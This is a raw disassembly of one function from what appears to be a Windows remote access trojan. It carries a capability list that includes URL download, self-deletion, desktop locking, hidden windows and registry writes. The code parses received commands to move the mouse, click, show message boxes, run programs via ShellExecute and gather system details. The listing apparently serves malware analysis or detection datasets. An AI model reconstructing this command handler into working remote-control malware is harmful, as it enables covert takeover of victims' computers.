Function at 0x4830dc
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Download url
Get memory capacity
Hide graphical window
Lock the desktop
Receive data
Schedule task via at
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15c
push 0
push 0
dec ecx
jne 0x4830e4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058a8
lea eax, [ebp - 0x2a0]
mov edx, dword [0x408ad8]
call fcn.00405ec4
xor eax, eax
push ebp
push 0x48cb23
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x48c992
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov edx, 0x48cb3c
call fcn.00405850
jne 0x483156
lea eax, [ebp - 0x56c]
mov ecx, dword [0x4a22e8]
mov edx, 0x48cb4c
call fcn.00405740
mov eax, dword [ebp - 0x56c]
call fcn.00482cc8
lea eax, [ebp - 0x570]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x570]
mov edx, 0x48cb5c
call fcn.00405850
jne 0x4832d6
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 2
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x574]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x574]
mov edx, 0x48cb78
call fcn.00405850
jne 0x483456
lea eax, [ebp - 4]
mov ecx, 7
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 8
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x578]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x578]
mov edx, 0x48cb88
call fcn.00405850
jne 0x4835d6
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 0x40
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x57c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x57c]
mov edx, 0x48cb98
call fcn.00405850
jne 0x483756
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 0x20
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x580]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x580]
mov edx, 0x48cba8
call fcn.00405850
jne 0x4838d6
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 4
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x584]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x584]
mov edx, 0x48cbb8
call fcn.00405850
jne 0x483a56
lea eax, [ebp - 4]
mov ecx, 7
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
push 0
push 0
push 0
push 0
push 0x10
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x588]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x588]
mov edx, 0x48cbc8
call fcn.00405850
jne 0x483bc7
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xfc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, dword [ebp - 0xf4]
call fcn.00409e40
imul ebx, eax
mov eax, dword [ebp - 0xf8]
call fcn.00409e40
xchg ebx, eax
cdq
idiv ebx
mov ebx, eax
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
mov eax, dword [ebp - 0xf0]
call fcn.00409e40
imul esi, eax
mov eax, dword [ebp - 0xfc]
call fcn.00409e40
xchg esi, eax
cdq
idiv esi
push ebx
push eax
call sub.user32.dll_SetCursorPos
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x58c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x58c]
mov edx, 0x48cbd8
call fcn.00405850
jne 0x483c2a
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
push 0
mov eax, dword [ebp - 4]
call fcn.00409e40
push eax
push 0
push 0
push 0x800
call sub.user32.dll_mouse_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x590]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x590]
mov edx, 0x48cbe8
call fcn.00405850
jne 0x483c81
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.00409e40
call fcn.0047ad90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x594]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x594]
mov edx, 0x48cbf8
call fcn.00405850
jne 0x483cd3
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.0049be20
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48c9a3
lea eax, [ebp - 0x598]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x598]
mov edx, 0x48cc0c
call fcn.00405850
jne 0x483f48
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, 0x4a8818
mov edx, dword [ebp - 8]
call fcn.0040547c
call fcn.00499230
test al, al
je 0x483d81
lea eax, [ebp - 0x18]
mov edx, 0x48cc1c
call fcn.004054c0
jmp 0x483d8e
lea eax, [ebp - 0x18]
mov edx, 0x48cc2c
call fcn.004054c0
lea eax, [ebp - 0x59c]
call fcn.00499140
cmp dword [ebp - 0x59c], 0
je 0x483db1
lea eax, [ebp - 0x10]
mov edx, 0x48cc3c
call fcn.004054c0
jmp 0x483db9
lea eax, [ebp - 0x10]
call fcn.00405428
push 0x48cc48
push dword [0x4a22ec]
push 0x48cb6c
push dword [ebp - 8]
push 0x48cc58
push 0x48cc64
lea eax, [ebp - 0x5a4]
call fcn.00462dc0
push dword [ebp - 0x5a4]
push 0x48cc70
lea edx, [ebp - 0x5a8]
movzx eax, word [0x4a8810]
call fcn.00409cd4
push dword [ebp - 0x5a8]
push 0x48cb6c
lea eax, [ebp - 0x5ac]
call fcn.00498f58
push dword [ebp - 0x5ac]
push 0x48cc58
lea eax, [ebp - 0x5b0]
call fcn.00498f1c
push dword [ebp - 0x5b0]
push 0x48cb6c
push dword [ebp - 0xc]
push 0x48cb6c
call fcn.0049a1dc
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5b4]
call fcn.00409dc0
push dword [ebp - 0x5b4]
push 0x48cc80
push 0x48cb6c
lea eax, [ebp - 0x5b8]
call fcn.00499634
push dword [ebp - 0x5b8]
push dword [ebp - 0x18]
push 0x48cc8c
lea eax, [ebp - 0x5c0]
call fcn.00499974
mov eax, dword [ebp - 0x5c0]
lea edx, [ebp - 0x5bc]
call fcn.0040a504
push dword [ebp - 0x5bc]
push 0x48cc98
push 0x48cb6c
lea eax, [ebp - 0x5c4]
call fcn.0049c234
push dword [ebp - 0x5c4]
push 0x48cb6c
push dword [ebp - 0x10]
push 0x48cb6c
lea eax, [ebp - 0x5c8]
call fcn.00498f94
push dword [ebp - 0x5c8]
push 0x48cb6c
lea eax, [ebp - 0x5cc]
call fcn.00498ffc
push dword [ebp - 0x5cc]
push 0x48cb6c
push dword [0x4a8944]
push 0x48cb6c
lea eax, [ebp - 0x5d0]
call fcn.00499fbc
push dword [ebp - 0x5d0]
push 0x48cb6c
lea eax, [ebp - 0x5d4]
call fcn.00499ee0
push dword [ebp - 0x5d4]
push 0x48cb6c
push dword [0x4a230c]
lea eax, [ebp - 0x5a0]
mov edx, 0x28
call fcn.004057bc
mov eax, dword [ebp - 0x5a0]
call fcn.00482cc8
lea eax, [ebp - 0x5d8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x5d8]
mov edx, 0x48cca4
call fcn.00405850
jne 0x484104
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x5dc]
call fcn.00499140
cmp dword [ebp - 0x5dc], 0
je 0x484063
lea eax, [ebp - 0x10]
mov edx, 0x48cc3c
call fcn.004054c0
jmp 0x48406b
lea eax, [ebp - 0x10]
call fcn.00405428
push 0x48ccb8
push dword [ebp - 8]
push 0x48cb6c
push dword [ebp - 4]
push 0x48cb6c
call fcn.0049a1dc
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.00409dc0
push dword [ebp - 0x5e4]
push 0x48cc80
push 0x48cb6c
push dword [ebp - 0x10]
push 0x48cb6c
lea eax, [ebp - 0x5e8]
call fcn.00499fbc
push dword [ebp - 0x5e8]
push 0x48cb6c
lea eax, [ebp - 0x5ec]
call fcn.00498ffc
push dword [ebp - 0x5ec]
push 0x48cb6c
lea eax, [ebp - 0x5f0]
call fcn.00498f94
push dword [ebp - 0x5f0]
lea eax, [ebp - 0x5e0]
mov edx, 0xf
call fcn.004057bc
mov eax, dword [ebp - 0x5e0]
call fcn.00482cc8
lea eax, [ebp - 0x5f4]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x5f4]
mov edx, 0x48cccc
call fcn.00405850
jne 0x4841a0
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.00409e40
mov dword [0x4a8940], eax
push 4
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x2f0], eax
lea edx, [ebp - 0x5f8]
mov eax, dword [0x4a8940]
call fcn.00409cd4
mov edx, dword [ebp - 0x5f8]
mov eax, dword [ebp - 0x2f0]
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x497fa8
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x5fc]
mov edx, 0x48cce0
call fcn.00405850
jne 0x4841f4
lea eax, [ebp - 4]
mov ecx, 3
mov edx, 1
call fcn.00405960
push 0x40
push 0x48cce4
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea eax, [ebp - 0x600]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x600]
mov edx, 0x48ccf0
call fcn.00405850
jne 0x48424c
lea eax, [ebp - 4]
mov ecx, 9
mov edx, 1
call fcn.00405960
push 5
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 4]
mov edx, 0x48cd0c
call fcn.00405850
jne 0x4842b3
xor eax, eax
push ebp
push 0x48429f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x608]
call fcn.00463c00
mov ecx, dword [ebp - 0x608]
lea eax, [ebp - 0x604]
mov edx, 0x48cd20
call fcn.00405740
mov eax, dword [ebp - 0x604]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4842b3
lea eax, [ebp - 0x60c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x60c]
mov edx, 0x48cd64
call fcn.00405850
jne 0x4844b9
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea edx, [ebp - 0x610]
mov eax, dword [ebp - 0x1c]
call fcn.004639a4
mov edx, dword [ebp - 0x610]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x28]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
push 0x48cd80
lea edx, [ebp - 0x61c]
mov eax, dword [ebp - 0x1c]
call fcn.0040a538
mov eax, dword [ebp - 0x61c]
mov cl, 1
xor edx, edx
call fcn.0049a2c8
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x618]
call fcn.0040b6b0
push dword [ebp - 0x618]
push 0x48cb6c
lea edx, [ebp - 0x624]
mov eax, dword [ebp - 0x1c]
call fcn.0040a538
mov eax, dword [ebp - 0x624]
mov cl, 1
mov dl, 1
call fcn.0049a2c8
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x620]
call fcn.0040b6b0
push dword [ebp - 0x620]
lea eax, [ebp - 0x614]
mov edx, 4
call fcn.004057bc
mov eax, dword [ebp - 0x614]
call fcn.00482cc8
mov eax, dword [ebp - 4]
mov edx, 0x48cd90
call fcn.00405850
jne 0x484500
push 0x48cda4
lea edx, [ebp - 0x62c]
xor eax, eax
call fcn.0049b224
push dword [ebp - 0x62c]
push 0x48cdb4
lea eax, [ebp - 0x628]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x628]
call fcn.00482cc8
mov eax, dword [ebp - 4]
mov edx, 0x48cdc0
call fcn.00405850
jne 0x48454a
push 0x48cda4
lea edx, [ebp - 0x634]
mov eax, 5
call fcn.0049b224
push dword [ebp - 0x634]
push 0x48cdb4
lea eax, [ebp - 0x630]
mov edx, 3
call fcn.004057bc
